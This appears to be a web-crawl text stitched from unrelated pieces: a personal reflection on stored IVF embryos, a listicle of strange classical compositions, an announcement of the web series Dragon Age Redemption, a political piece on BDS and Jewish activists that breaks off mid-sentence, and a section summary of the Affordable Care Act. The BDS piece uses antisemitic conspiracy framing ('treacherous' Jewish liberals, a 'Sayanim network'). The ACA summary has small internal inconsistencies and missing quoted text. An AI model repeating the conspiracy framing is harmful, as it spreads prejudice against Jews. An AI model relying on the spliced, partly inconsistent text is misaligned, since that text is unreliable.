It is on Mother’s Day that I am reminded of the ten little embryos I have cryogenically stored (that and the day the bill for their yearly storage fee arrives), knowing that I will never be able to grow them into the beautiful, much wanted children we desire. These embryos have become emblems of misguided hope – for they represent my impossible view of the future. It is a hope I can not bring myself to abandon. For without it, there is nothing but the prospect of endless sadness and regret. I feel all this, but at the same time, I know it to largely be an illusion – these ten embryos represent more pain than hope – because they come with the What Ifs. ‘What if I donated them to some one who needs them? Could I handle my genetic child being raised by strangers?’… ‘What if I somehow end up off all the medication and used the embryos myself?’… ‘What if I’ve left the whole thing, too late and I am too old?” … ‘What if we could find a suitable surrogate?’… “What if I went off to Thailand and hired a surrogate?” In my head, the scenarios tumble around and around, over and over, year after year. It never, ever seems to go away, and it follows me around every single day.
I have a twelve year old beautiful son – I AM one of the lucky ones – and he brings us so much joy… and yet I can not stop thinking what life might have been like, had I been able to have more children, and have the family, and the life, that I so desperately wanted to create. Mother’s Day is both a day to be celebrated in our house as well as a day which prompts a lot of quiet reflection and mixed emotions…
I truly wish, that after all these years, I could be just content with my lot. And I truly wish my mind could. just. be. still.By Nathan B. Lawrence, Lawrence University
Classical music seems to have a reputation for being straight-laced, stuffy, and obsessed with rules. But over the centuries, hundreds of composers have tested the boundaries of musical expression in strange and unique ways. Here are ten prime examples.
1. 4'33" — John Cage
In the last 50-odd years, John Cage's personal favorite work, 4'33" has become something of a running joke and subject of derision in the music world. It's easy to see why: to perform the piece, a pianist walks on stage, opens the lid of a grand piano, sits down at it, and then lowers the lid. With a stopwatch set for exactly four minutes and thirty-three seconds, he sits in complete silence, occasionally opening and closing the keyboard to indicate the various "movements" of the piece. What kind of music is that?!
When Cage wrote 4'33", he seems to have intended for us to turn our attention not to the music on stage, but to the music and sound we all make as we watch this performance. In the seemingly silent concert hall, a symphony of new noises start to emerge that we took for granted moments ago: coughs, the squeaking of your seat as you slightly move, and even the guy scratching his head 30 feet away become a part of this score.
2. Organ2/ASLSP (As SLow aS Possible) — John Cage
In 1985, John Cage continued his tradition of questioning the nature of music and performance with ASLSP (As SLow aS Possible), a piece which—as the title suggests—simply instructs the performer to play it "as slow as possible." In 1987, Cage published a new version for organ and since 2001, a cathedral in Halberstadt, Germany has been making good on Cage's instructions: Their organ has been playing the piece so slowly that it is not expected to finish until some time in the year 2640. In October 2013, more than a thousand people gathered to hear the thirteenth note change in the piece; another one is not expected to occur until September, 2020.
3. Fugue in G Minor (Cat Fugue) — Domenico Scarlatti
Though this piece may seem tame by today's contemporary standards, the (potentially apocryphal) story of how Baroque composer Scarlatti supposedly came across the rather unconventional motif makes it worth mentioning on any list of weird classical pieces. Scarlatti claimed that his cat, Pulcinella, was prone to walking across the keyboard. One day, in one of the feline's unexpected performances, the melody now synonymous with the "Cat Fugue" caught the musician's attention, and the rest was history.
4. Duetto Buffo di Due Gatti — Unknown
On another cat-related note, this 1800s art song also seems worthy of the "weird" crown, this time because of its unorthodox lyrics and musical humor. Duetto Buffo di Due Gatti, which roughly translates to "humorous duet for two cats," seems to tell the story of two cats meeting, lashing out at each other, and eventually making friends in an operatically styled duet using only the word "meow" (spelled "miau" in most scores). Though the work was originally published unattributed, conventional wisdom seems to point to Barber of Seville composer Gioachino Rossini as either the composer or a target of the work's parody due to its heavy appropriation of the famous vocal writer's compositional idioms.
5. Einstein on the Beach — Philip Glass
Let's zip forward 150 years to another "operatic" work. In 1975, Philip Glass, perhaps the most famous composer from the school of minimalism—which attempts to uncover the beauty in repetition and slight variation—wrote Einstein on the Beach, an opera in four acts and by far one of his longest works.
We call Einstein on the Beach an opera largely because we have no better name for what it is. There isn't much traditional opera in the work: there is no plot; the singers seem to represent specific thematic threads more than characters; and seemingly orthodox structural and performance vocabulary like "scene" and "aria" seem to take on a different meaning. Perhaps the most interesting parts of the work are its "Knee Plays," connecting tissue between the acts that combine a chant-like choral pattern with highly rhythmic human narration for an ethereal effect. The unexpected moments of synchronicity between the two parts create a strangely paradoxical feeling of serene disorientation.
6. Violin Concerto No. 2: The American Four Seasons — Philip Glass
Another from Glass's minimalist library, this piece was composed as a companion to noted violinist Robert McDuffie's touring performance of Vivaldi's Four Seasons concerto. Aside from the piece's unorthodox instrumentation—which puts a synthesizer and harpsichord on the same stage—Glass does something else to surprise us by refusing to reveal which movement goes with which season, forcing you to "figure that one out for yourself."
7. The Unanswered Question — Charles Ives
Though the first drafts of the piece appeared in 1908—more than 50 years before the first pangs of minimalism would emerge—the effects of Charles Ives's The Unanswered Question can be felt throughout the movement. The piece features three different ensembles: strings, brass, and flutes, all separated from each other and playing in wildly different rhythms and keys. The score also calls for the string section to be hidden from the audience, creating an eerie, disembodied sound.
8. Requiem — Andrew Lloyd Webber
Perhaps the strangest part of this piece isn't the bombastic and unapologetic dissonance or rock-influenced orchestration, but the composer himself. Webber, who is far more famous for his musical theatre works like Jesus Christ Superstar, Cats, and The Phantom of the Opera, has said he wrote the requiem as a personal contemplation on mortality and legacy after the death of his father. Despite the hard rock sound, Webber seems to have successfully captured the more tender feelings of grief and loss, especially in the softer moments of his "Dies Irae" movement.
9. String Quartet No. 6 — Brian Ferneyhough
Any of Ferneyhough's pieces would have been at home on this list: The composer has a highly unorthodox style that includes unusual time signatures, and he routinely pushes instruments to the limits, forcing the use of unorthodox techniques to create unexpectedly harsh sounds. In fact, Ferneyhough is frequently regarded as one of the most difficult composers to play on any instrument.
10. A Musical Joke (K. 522) — Wolfgang Amadeus Mozart
While many composers on this list attempted to use unorthodox techniques and stylistic choices to depict complex emotions or uncover human truths, Mozart did it simply to entertain! His Musical Joke was a piece written intentionally to be as bad as possible. Mozart disobeyed many harmonic rules of the time, created cloyingly repetitive patterns, and even intentionally wrote parts that would sound like the musicians were playing wrong notes.Almost eleven months ago, my agent @georgeruiz called me and said he’d had a conversation with someone from EA/Bioware about the possibility of working together, but they weren’t sure on what. Thus started the LONG road to today, when I can announce my next project: Dragon Age Redemption. USA Today was nice enough to cover us HERE and in print. Also, here’s a profile on me as a gamer with a different picture. What an amazing way to tell the world about my new baby! 🙂
I have had a TON of opportunities to work with amazing people in the last few years, but my ability to balance something other than The Guild was a real challenge. When I finally reached a place where I felt like I COULD do something else in between seasons, I was very very picky. I never want to go backwards, I always want to challenge myself and the web video space. So, nothing struck a nerve with me until the name “Dragon Age” came up. One of my favorite games, and they would let me write in it? Act in it? Be an ELF in it?! Really?! Um, can we shoot YESTERDAY?!
To pull off a full fantasy world on a web series budget is near impossible. But to do Dragon Age justice, I had to try. I called everyone I knew in my almost decade-long Hollywood career and asked them, “Do you want to work on something cool?” The awesome part of this is that they read the script that I wrote, (After ANOTHER DA playthrough and TONS of hours of research, I even read the novels!) and instead of recommending an assistant or a colleague, they agreed to work on the project themselves. Wow! Peter Winther, who produced a short I acted in years ago, who’s an amazing director and who loves fantasy novels as much as I do, agreed to direct, he got John Bartley, the DP from Lost to agree to do the project. My friend Dan Kaplow who produces United States of Tara came on board to produce with @kimevey and me. Greg Aronowitz, Guild favorite, did the production design and SFX makeup (and designed my outfit), Shawna @trpcic agreed to come do costume design, (we worked together on Dr. Horrible), I contacted Doug Jones on TWITTER and asked him if he would be interested, on and one and on. Down the line, every single crew member pulled all the strings they had to bring a world alive. And Kim and I treated them to a coffee truck every morning in exchange. It was kinda the least we could do, haha.
I will be talking about this project a LOT in the coming months, so I don’t want to talk about too much too soon, but I can tell you that I’ve gotten to work with some of the most amazing people I’ve ever worked with during this process, on the Bioware side and on the filmmaking side. I am the hardest-core fantasy fan there is, so every detail had to be as amazing as we could get it! And the results are turning out to be…well, you’ll see.
We shot 12 days in January, and keeping it under wraps was so incredibly challenging! I look forward to telling you about every aspect, and showing you some amazing episodes full of magic, stunts and…well, quippiness. 🙂 Oh, and I’ll be on Jimmy Fallon to premiere the teaser exclusively, so be sure to spread the word and tune in! I have a beautiful dress I got just for the occasion!!!By Gilad Atzmon
Two days ago, some invaluable information surfaced relating to the treacherous role of Jewish liberals in derailing the BDS campaign. A Ynet article disclosing the Israeli strategy relating to the pro Palestinian campaign disclosed the close links between the Israeli Government and the Jewish ‘pro’ Palestinian organizations. It revealed the manner in which both have been acting in concert to subvert this humanitarian discourse.
According to the Ynet article, Eran Shayshon, Director of Policy and Strategy at the Reut Institute*, had a clear message to his Israeli Government - we need to recruit left-wing groups associated with BDS to control our opposition. The mission set by Shayshon and the Reut Institute was: “to divide and drive a wedge between the leaders of the BDS campaign.”
"For Israel, the key is to actually making a clear distinction between the extremists and the rest. The goal is to divide them,” Shayshon says. “That means to be open to listen to criticism from moderate voices against the government, in order to return the extremists back to their natural size. To achieve this goal, we explained to the government representatives that we have to operate with as large a base as possible; meaning, recruit not only right-wing agencies and groups to the fight, but also left-wing groups who criticize the government.”
This clarifies the role of JVP within the movement and explains the rationale behind the BDS campaign against some of our most profound pro-Palestinians voices (Norman Finkelstein, Alison Weir, Daniel Barenboim, Jacob Cohen and many others).
And here is Max Blumenthal/JVP/ Mondoweiss’ thought policing agenda as articulated in clear by Hasbara merchant Shayshon in Jerusalem: "The message for left-wing organizations is that criticism is legitimate, but there are red lines of terminology and entities with whom we cooperate.” When you read this you may ask yourself, who was it who changed Mondoweiss comment policy, banning any criticism of the Jewish State that analyses Jewish perspectives. Was it Philip Weiss in NYC or Eran Shayshon in Jerusalem?
In case you still find this hard to accept, I’ll be as clear as I can. Shayshon instructed his government that liberal Jews, the Blumenthals, JVPs and Mondoweisses are good for the Jews. Now, we may understand how Max Blumenthal and Philip Weiss make it in and out of Ben Gurion airport. Shayshon has provided us with a possible answer. I guess that the same applies to Omar Barghouti, as long as he keeps close ties with Judith Butler and the Jewish crowd.
Shayshon admits that his strategy wasn’t as successful as he wished. “We initiated meetings between government representatives and several Jewish left-wing organizations in Israel and abroad, but it did not bear any fruits. So we lost effective and good soldiers for the fight." We now know that our so-called Jewish ‘allies’ have been negotiating with the Israeli Government behind our backs while claiming to care for Palestinians and their plight. This is a textbook case of a controlled opposition operation. We are inundated with Immanuel Goldsteins. I am not shocked by this--my book The Wandering Who exposes the ideological, political, spiritual and cultural continuum between Zionism and its imaginary Jewish dissent—but I am surprised Shayshon exposed his Sayanim network in our midst. I trust he knows what he is doing.
But the |
for States That Develop A Better System
States that develop a system that covers as much and costs the same or less than the Federal system can apply for a waiver. If granted, they can enact their own system.
The new system could begin on January 1, 2017.
Section 1333: Allows Health Insurance Plans to Be Sold To Multiple States
Health insurance companies would have to be licensed in all the States where its plans are sold.
Health insurance companies would have to “clearly notify consumers that the policy may not be subject to all the laws and regulations of the State in which the purchaser resides.”
Plans sold in multiple states – “health care choice compacts”- can begin on January 1, 2016.
Section 1334 as added by amendment (See Section 10104): National Health Insurance Plans
The Director of the Office of Personnel Management will contract with at least two insurance companies to offer insurance to the individual and small group markets in every state.
At least one of these companies must be non-profit.
Plans need to be licensed in each State where they offer coverage.
States can require health insurance companies to offer additional benefits but must pay the additional cost.
The multi-state insurance plans will be nationwide within four years.
Section 1341: Insurance Companies Will Have Insurance for “High-Risk” Customers for First 3 Years
Subtitle E: “Affordable Coverage Choices for All Americans”
Section 1401 as amended by Section 1001 of the Reconciliation Act: Tax Credits
Taxpayers Making Between 100% – 400% of the Poverty Level Get Tax Credits To Pay for Premiums
The tax credit is for the amount the health insurance plan exceeds a percentage of a person’s income, based on the poverty level.
The premium used for calculation is the second-lowest silver plan in the individual market where the taxpayer lives.
Section 1402: Out-of-Pocket Limits Reduced
Only applies to people who have purchased Silver Level coverage on an Exchange
The standard out-of-pocket limits ($5,950 for individuals and $11,900 for families) would be reduced for people making under 400% of the poverty level.
Reduction Levels:
People making 100%-200% of the poverty level will have their limit reduced by 2/3.
People making 201%-300% of the poverty level will have their limit reduced by 1/2.
People making 301%-400% of the poverty level will have their limit reduced by 1/3.
No health insurance company will ever pay more than 94% of medical costs (increased by Section 1001 of the Reconciliation Act).
The Federal Government will pay the health insurance companies for the amount they reduce out-of-pocket limits
Illegal immigrants are not eligible.
*Tax Credit / Premium Calculator
Section 1411: How Government Will Determine Eligibility & Grant Individual Exemptions
People or employers who disregard regulations and provide false information are subject to a $25,000 fine.
People or employers who purposefully provide false information are subject to a $250,000 fine.
No property can be taken away if the person or company doesn’t pay the penalty.
Section 1412: Advance Payment of Tax Credits and Out-of-Pocket Reductions
Premium tax credits can be claimed in advance to help pay for premiums.
Section 1415: Premium Tax Credits Don’t Count As Income
Section 1421 as changed by amendment (See Section 10105): Small Business Tax Credit
Eligible employers must:
Have fewer than 25 employees and
Pay average annual wages of less than $50,000/year.
Pay at least 50% of total premiums.
Eligible employers who purchase coverage through the State exchange can get a tax credit of up to 50% of their health insurance costs.
Tax-exempt eligible employers can get a tax credit of up to 35% of their health insurance costs.
Subtitle F: “Shared Responsibility for Health Care”
Section 1501 as changed by amendment (See Section 10106): The Individual Mandate
Individuals must ensure that they and their dependents have health coverage every month starting in 2014.
If individuals fail to get themselves and their dependents covered, they will pay a penalty for each month they and their dependents were uncovered. (see Section 1002 of the Reconciliation Act)
The penalty in 2014 will be $95 or 1% of income, whichever is higher
The penalty in 2015 will be $325 or 2% of income, whichever is higher
The penalty in 2016 and after will be $695 or 2.5% of income, whichever is higher.
Penalties are capped at the cost of the national average for a bronze plan premium.
Exemptions are allowed:
For people in an exempt religious sect
For members of a health care sharing ministry
For Native Americans
For people below 100% of the poverty level who can’t afford available health insurance options
People who have a coverage gap of less than three months (if the gap goes longer than three months, they get no exemption for any of that time)
People who have proven to the Department of Health and Human Services that they have an extraordinary hardship.
You can not be criminally prosecuted, thrown in jail, or have your property taken away if you fail to pay the penalty.
Section 1502: Health Insurance Companies Will Report Your Coverage Status to the Government
Every year, the Treasury Department will send notices to people who didn’t get coverage telling them what is available to them on their State’s exchange.
Section 1503: Automatic Enrollment for Workers with Large Employers
Companies with over 200 employees will automatically enroll their new full-time employees in one of the health plans they offer.
Employees are allowed to opt out of their employer provided coverage.
Section 1512: Workers Must Be Informed of Better Options
If a company’s health insurance plan doesn’t cover at least 60% of medical expenses, the worker might be eligible for premium tax credits and out-of-pocket limit reductions.
Companies need to inform their workers about the exchanges and provide a description of the exchange’s services.
Section 1513 as amended by Section 1003 the Reconciliation Act: Employers With Over 50 Employees
Starting January 1, 2014, they must offer their employees health insurance.
If one or more of their employees received tax credits or an out-of-pocket limit reduction on the exchange, the employer will be fined $2,000 per full-time employee.
They will not have to pay the penalty for the first 30 full-time employees.
If the employer offers health insurance but the employee claims tax credits and/or out-of-pocket limit reductions on the exchange, the employer will be charged either $3,000 per employee receiving tax credits or $2,000 per full-time employee minus the first 30 employees, whichever is less.
Employers can not have waiting periods for health coverage of over 60 days. (Eliminated by the Reconciliation Act)
(Eliminated by the Reconciliation Act) Fines are not tax deductible.
Seasonal workers – that work less than 120 days per year -do not count as full-time employees.
Section 1514: Large Employers Must Report Your Coverage Status to Government
Section 1553: No One Can Discriminate Against Anyone Else For Not Providing Doctor Assisted Suicide
Section 1558: Protection For Employees
Employers may not fire or discriminate against any worker who reports, testifies, or helps the government prosecute an employer that has violated the Affordable Care Act.
Section 1560: Hawaii Can Keep Its Health Care System
Section 1563: CBO Estimates The Affordable Care Act Will Reduce Budget Deficits
TITLE II: “ROLE OF PUBLIC PROGRAMS“
Subtitle A: Improved Access to Medicaid
Section 2001 as amended by Section 10201: Medicaid for Poor People
Starting in 2014, anyone making under 133% of the Federal Poverty Level will be eligible for Medicaid’s health benefits. Medicaid’s health benefits will include the essential benefits required of all health insurance plans on exchanges, prescription drugs, and mental health services. The Federal Government will pay States for the new Medicaid expenses at the following rates (changed by Section 1201 of the Reconciliation Act): 100% for 2014-2016 95% for 2017 93% for 2019 90% for ever
*The June 28, 2012 Supreme Court ruling effectively made the Medicaid expansion optional for the States. The result is that unfortunate souls making under 133% of the Federal Poverty Level and living in States that have turned down the Federal Government money will not have health care coverage.
Via: The Advisory Board Company
Section 2004 as amended by Section 10201: Medicaid for Foster Children
Beginning in 2014, States must cover former foster children in their Medicaid programs
Subtitle B: “Enhanced Support For the Children’s Health Insurance Program”
Section 2101: Federal Financing of Children’s Health Insurance Program (CHIP)
Federal Government will increase its contribution to States’ CHIP programs by 23%, funding up to 100%.
Subtitle C: “Medicaid and CHIP Enrollment Simplification”
Section 2201: Electronic Enrollment
By January 1, 2014, States must create websites that allow individuals to apply and enroll in Medicaid and CHIP
States that fail to create the website will lose their Federal Medicaid money.
Section 2202: Hospital Enrollment in Medicaid
Allows hospitals to determine whether a person qualifies for Medicaid based on preliminary information in order to provide them with medical assistance.
Subtitle D: “Improvements to Medicaid Services”
Section 2301: Free-Standing Birth Centers
Requires Medicaid cover services from free-standing birth centers.
Section 2303: Family Planning Services
States can, but don’t have to, provide family planning services as part of Medicaid.
Subtitle E: “New Options for States to Provide Long-Term Services and Supports”
Section 2401: At Home Services Option
Allows States to cover at home services – the kind that would usually be offered in an institution – to people under 150% of the poverty level.
Subtitle F: “Medicaid Prescription Drug Coverage”
Section 2501: Prescription Drug Rebates
Increases rebates for prescription drugs up to 100% of the cost of the drug.
Section 2502: Additional Drugs Covered
Drugs to help quit smoking, barbiturates, and benzodiazepines will be covered by Medicaid starting on January 1, 2014.
Subtitle G: “Medicaid Disproportionate Share Hospital (DSH) Payments”
Section 2551: Payment Reductions
Reduces Federal payments to certain hospitals.
Subtitle H: “Improved Coordination for Dual Eligible Beneficiaries”
Section 2602: Medicaid and Medicare Coordination
Creates a Federal Coordinated Health Care Office to coordinate the benefits of individuals who qualify for both Medicaid and Medicare.
Subtitle I: “Improving the Quality of Medicaid for Patients and Providers”
Section 2703: Care for Medicaid Patients with Chronic Conditions
Gives States the option to create teams of health professionals to manage care for Medicaid patients with chronic conditions.
Chronic conditions include:
Mental health disorders
Substance abuse issues
Asthma
Diabetes
Heart Disease
Obesity
Subtitle K: “Protections for American Indians and Alaska Natives”
Section 2901: No Out-of-Pocket Costs for Certain Indians
Indians at or below 300% of the Federal Poverty Level will not have to pay out-of-pocket costs for insurance they get through a state exchange
TITLE III: IMPROVING THE QUALITY AND EFFICIENCY OF HEALTH CARE
Subtitle A: “Transforming the Health Care Delivery System”
Section 3001: Links Hospital Payments to Performance
Starting in 2013, a percentage of hospital payments will be tied to performance in treating common high-cost conditions (cardiac issues, surgeries, pneumonia, etc.)
Section 3007: New System for Physician Payments
Secretary of Health and Human Services must create a new budget-neutral payment system that will adjust Medicare payments to physicians based on the quality of care they deliver.
New system will be phased in over two years beginning in 2015.
Section 3008: Penalties for Poor Performance
Hospitals in the top 25th percentile for rates of diseases caught inside the hospital will have a payment penalty through Medicare.
Section 3011: National Strategy
Secretary of Health and Human Services has to establish our national strategy to improve health care delivery and overall population health.
Section 3025: Readmissions Reduction
Ties Medicare payments to hospitals with the hospitals percentage of potentially preventable readmissions to the hospital.
The Secretary of Health and Human Services will make readmission rates for certain conditions at every hospital available to the public.
Subtitle B: “Improving Medicare for Patients and Providers”
Section 3112: Eliminates “Medicare Improvement Fund”
Saves over $22 billion
Rest of Subtitle creates new systems and changes the way Medicare charges paid for by the government.
Subtitle C: “Provisions Related to Part C”
Section 3201: Limited Medicare Advantage Payments (Killed by Section 1102 of the Reconciliation Act)
Section 3202: Prevents Private Medicare Advantage Plans from Overcharging
Prohibits private Medicare Advantage plans from charging more for basic Medicare services than actual Medicare charges.
Medicare Advantage plans that offer extra benefits must prioritize reductions in out-of-pocket expenses and preventative care over their extra goodies.
Section 3204: Seniors Can Return to Actual Medicare
Seniors will be allowed to unenroll in their Medicare Advantage plans and return to real Medicare from January 1-March 15 of every year.
Section 3209: Medicare Advantage Plan Denial Allowed
Secretary of Health and Human Services now has the authority to prohibit Medicare Advantage plans that significantly increase cost to customers or decrease benefits offered to seniors.
Subtitle D: “Medicare Part D Improvements for Prescription Drug Plans and MA-PD Plans”
Section 3301: Donut Hole Discount Program
Medicare Part D private insurance plans pay 75% of drug costs up until $2,970 is spent and then start paying 95% once the senior has spent $4,750. Between $2,960 and $4,750, the insurance company pays nothing. This window is known as the “coverage gap” or “donut hole”.
This section requires drug manufacturers provide a 50% discount for brand name drugs for seniors while paying out-of-pocket for drugs in the coverage gap.
Even though they only pay 50% of cost, the full price of the drug will count as paid so that they get out of the coverage gap sooner.
The Secretary of Health and Human Services was put in charge of implementation.
Section 1101 of the Health Care and Education Reconciliation Act
Provides a $250 rebate to seniors who enter the “coverage gap””donut hole”.
Closes the Medicare Part D “coverage gap” “donut hole” by 2020.
Section 3308: Reduces Medicare Subsidy for High-Income Seniors
Section 3311: Medicare Advantage & Medicare Part D Complaint System
Secretary of Health and Human Services will create a system so that seniors can submit complaints about the private Medicare Advantage and Medicare Part D drug plans
Subtitle E: “Ensuring Medicare Sustainablity”
Section 3401: Changes Payment Structures for Medicare Payments
Section 3402: Freezes Premiums for High Income Seniors at 2010 Levels until 2019
Section 3403: Independent Payment Advisory Board (IPAB)
Creates a 15 member board to propose ways to reduce the growth of Medicare spending.
The board’s recommendations will not go into effect during years that the Medicare growth rate is under control.
The board will make non-binding recommendations during years when the Medicare growth rate is under control (added by Section 10320).
The board is not allowed to propose anything that rations care, raises taxes, raises premiums for actual Medicare, increases out-of-pocket expenses for seniors, or reduces benefits.
The board’s suggestions will take effect unless Congress enacts alternative legislation that achieves the same level of savings.
Subtitle F: “Health Care Quality Improvements”
Provides funding for a variety of programs.
Subtitle G: “Protecting and Improving Guaranteed Medicare Benefits”
Section 3601: Nothing in This Law Can Cut Medicare Benefits
Section 3602: Nothing in This Law Can Cut Medicare Advantage Benefits
TITLE IV: PREVENTION OF CHRONIC DISEASE AND IMPROVING PUBLIC HEALTH
Subtitle A: “Modernizing Disease Prevention and Public Health Systems”
Section 4002: Prevention and Public Health Fund
Will provide $2 billion a year (starting in 2015) for public health programs that include research, health screenings, and immunizations.
Subtitle B: “Increasing Access to Clinical Preventative Services”
Section 4103: Free Wellness Plan for Medicare Seniors
Seniors will get a physical their first year on Medicare and risk assessments every year following without having to pay a co-pay or deductible.
Section 4107: Help to Quit Smoking for Pregnant Women on Medicaid
States must provide counseling and products to help pregnant woman on Medicaid quit smoking with no out-of-pocket costs.
Subtitle C: “Creating Healthier Communities”
Section 4205: Nutrition Labeling at Chain Restaurants
Chain restaurants with 20 or more locations have to provide the number of calories (or a calorie range for combo meals) on menus, boards, and drive-thru boards.
Upon request by a customer, they must be able to provide calories from fat, saturated fat, cholesterol, sodium, total carbohydrates, sugars, fiber, and protein.
Section 4207: Break Time for Nursing Mothers
Employers must allow nursing mothers break time to milk themselves.
The employers do not have to pay the mothers for that time.
Employers with under 50 employees are exempt.
Subtitle D: “Support for Prevention and Public Health Innovation”
Funds research and other programs.
TITLE V: HEALTH CARE WORKFORCE
Subtitle A: “Purpose and Definitions”
Subtitle B: “Innovations in the Health Care Workforce”
Creates a commission and provides grants.
Subtitle C: “Increasing the Supply of the Health Care Workforce”
Section 5201: Federally Funded Medical Student Loans
Federal government will help pay medical student loans if the student agrees to practice as a primary care physician for 10 years.
Decreases the penalty for students who don’t comply.
Section 5202: Increases Student Loan Amounts for Nursing Students
Section 5203: Federal Government Loan Payback for Pediatric Medicine Students
If the student agrees to work full-time providing pediatric services, the Federal government will help pay their student loans up to $35,000 a year.
Section 5204: Federal Government Service in Return For Loan Repayment
If a medical student agrees to work for the government for 3 years or longer, the government will pay up to $35,000 of that student’s loans.
Subtitle D: “Enhancing Health Care Workforce Education and Training”
Subtitle E: “Supporting the Existing Health Care Workforce”
Subtitle F: “Strengthening Primary Care and Other Workforce Improvements”
Subtitle G: “Improving Access to Health Care Services”
Section 5601: Provides Funding for Community Health Centers
TITLE VI: TRANSPARENCY AND PROGRAM INTEGRITY
Subtitle A: “Physician Ownership and Other Transparency”
Section 6001: New For-Profit Doctor-Owned Hospitals Can Not Participate in Medicare
Section 6002: Reporting on Industry Payments to Doctors
Starting on March 31, 2013, pharmaceutical companies and manufacturers must report any kind of payments that they make to doctors.
Manufacturers must report any ownership or investment relationships their doctor customers have with the company.
Penalties for not reporting
Between $1,000 an $10,000 for each payment that was not reported, capped at $150,000.
If the manufacturer knowingly failed to report a payment, the penalty is $10,000-$100,000 for each payment that was not reported, capped at $1,000,000.
The payment information reported on by manufacturers must be posted on a searchable website by September 30, 2013 (this has been delayed one year).
Section 6004: Reports on Prescription Drug Samples
Drug manufacturers and distributors must report the identity and quantity of drug samples requested and distributed every year.
Section 6005: Pharmacy Reports
Pharmacies need to report on their generic drug dispensing rate, rebates, discounts, and price concessions.
Subtitle B: “Nursing Home Transparency and Improvement”
Section 6103: Nursing Home Comparison Website
The Department of Health and Human Services will operate a website that will allow customers to compare nursing homes by providing staffing data, certifications, complaints, and criminal violations.
Section 6105: Creates a Standard Complaint Form
Section 6111: Penalties Reduced for Self Reporting
Secretary of Health and Human Services will be allowed to reduce penalties by 50% for facilities that report their own violations
Subtitle C: “Nationwide Program for National and State Background Checks on Direct Patient Access Employees of Long Term Care Facilities and Providers”
Section 6201: Background Checks
Secretary of Health and Human Services will establish a system for doing background checks that include fingerprints on employees of long term care facilities.
Subtitle D: “Patient Centered Outcomes Research”
Subtitle E: “Medicare, Medicaid, and CHIP Program Integrity Provisions”
Section 6401: Provider Screenings
Secretary of Health and Human Services must establish procedures for screening providers and suppliers for Medicare, Medicaid, and CHIP
All screening will include license checks
Secretary can impose additional screenings including fingerprinting, background checks, and random visits.
Providers and suppliers will have to report shady affiliations, suspended payments, if they’re excluded from other Federal programs, and/or if they’ve had their billing privileges revoked.
There will be an application fee of $200 for individual doctors and $500 for institutions every five years.
Section 6404: Medicare Claims Must be Made Within 12 Months
Section 6407: Physicians Must Have Face-to-Face Meeting With Patient Before Certifying Home Services
Section 6411: Recovery Audit Contractors
Secretary of Health and Human Services will establish contracts with auditors who will identify under and overpayments and collect overpayments for Medicaid services.
The Secretary is required to include Medicare Advantage and Medicare Part D.
Subtitle F: “Additional Medicaid Program Integrity Provisions”
Section 6501: Medicaid Termination
States must terminate a Medicaid program if they were kicked out of Medicare or another State’s Medicaid program.
Section 6502: Medicaid Exclusions
Medicaid must exclude an individual or company that owns or manages something that:
Has unpaid overpayments
Is suspended or excluded from participation
Is affiliated with someone who is suspended or excluded from participation
Section 6505: No Payments Can Go Outside of the United States
Subtitle G: “Additional Program Integrity Provisions”
Section 6601: Prohibits False Statements
Insurance company employees can be prosecuted and sentenced up to 10 years in prison and fined if they lie about the plan’s financial solvency, benefits, or regulatory status.
Subtitle H: “Elder Justice Act”
TITLE VII: IMPROVING ACCESS TO INNOVATIVE MEDICAL THERAPIES
Subtitle A: “Biologics Price Comparison”
Subtitle B: “More Affordable Medicines for Children and Underserved Communities”
TITLE VIII: “CLASS ACT” (Repealed)
TITLE IX: “REVENUE PROVISIONS”
Section 9001 as amended by Section 1401 of the Reconciliation Act: Excise Tax on High-Cost Employer Paid Insurance Plans
Starting in 2018, there will be a on insurance companies for any health plan that costs more than $10,200 for single coverage and $27,500 for family coverage.
The tax is 40% of the amount of the premium above $10,200 and $27,500.
The tax begins at $11,850 for individuals and $30,950 for families for plans covering people over 55 and in high risk professions.
The tax does not apply to plans sold on the individual market; it only applies to employer paid plans.
The tax does not apply to stand alone dental or vision plans.
Section 9002: Employer-Paid Health Benefits Will be Included on W-2 Forms
Section 9008 as amended by Section 1404 of the Reconciliation Act: Pharmaceutical Industry Fee
A fee of at least $2.8 billion a year will be divided by market share and paid by pharmaceutical manufacturers and distributors.
Section 9009 as amended by Section 1405 of the Reconciliation Act: The Medical Device Tax
There will be a 2.3% deductible tax on the sale of medical devices to be paid by the manufacturer or importer.
The tax is not applied to items sold directly to the public such as eyeglasses, contacts, etc.
Section 9010 as amended by Section 1406 of the Reconciliation Act: Tax on Health Insurance Companies
A non-deductible fee will be divided amongst all health insurance companies based on market share every year.
The fee will not apply to insurance companies that make less than $50 million in net premiums.
The fee will not apply to government or employers.
Non-profits who get more than 80% of their money from government programs are exempt.
The fee is:
$8 billion in 2014
$11.3 billion in 2015-2016
$13.9 billion in 2017
$14.3 billion in 2018
2019 and beyond: The previous year’s fee increased by the rate of premium growth
Section 9012: Eliminate Incentives For Employers to Enroll in Medicare Part D
Section 9013: Raises Threshold for Medical Expenses Deduction
Increases from 7.5% to 10%
Individuals over 65 can claim the deduction at 7.5% until 2016
Section 9014 as changed by amendment (See Section 10906): Tax on Wealthy
Increases the hospital insurance tax on people earning over $200,000 a year individually or $250,000 married couples filing together by 0.9%.
Section 9014 as changed by Section 1402 of the Reconciliation Act: Tax on Wealthy Wall Street Income
The hospital insurance tax will include a 3.8% tax on income from interest, dividends, annuities, royalties, and certain rents on people earning over $200,000 a year individually or $250,000 married couples filing together.
Section 9017 as changed by amendment (See Section 10907): Tax on Elective Medical Procedures Indoor Tanning
There will be a 5% tax on elective cosmetic surgery
There will be a 10% tax on indoor tanning services.
TITLE X: STRENGTHENING QUALITY, AFFORDABLE HEALTH CARE FOR ALL AMERICANS
Buried in Section 10104: Dismissal of Fraud Cases
Changes Section 3730(e) of title 31, United States Code which determines how we prosecuted people who commit fraud, by eliminating this paragraph:
In it’s place, they put this:
Section 10108: Free Choice Vouchers
If a worker’s health insurance contribution through their employer will be between 8%-9.8%, their employer has to offer them a voucher that will pay the employee’s share if the worker would like to pick their own plan on the exchange.
Section 10330: Update Computer Data Systems for Medicare and Medicaid
Secretary of Health and Human Services must make a plan and determine the budget for modernizing the computer and data systems for Medicare and Medicaid
Additional Provisions from The Health Care and Education Reconciliation Act
Section 1103: Stops Medicare Advantage Excessive Profits
Medicare Advantage plans must spend 85% of their revenue on medical costs rather than profit and overhead.
Additional Information:
Intro and Exit Music: Tired of Being Lied To by David Ippolito (found on Music Alley by mevio)
Music: Begging for Change – Healthcare Blues by Peter Alexander
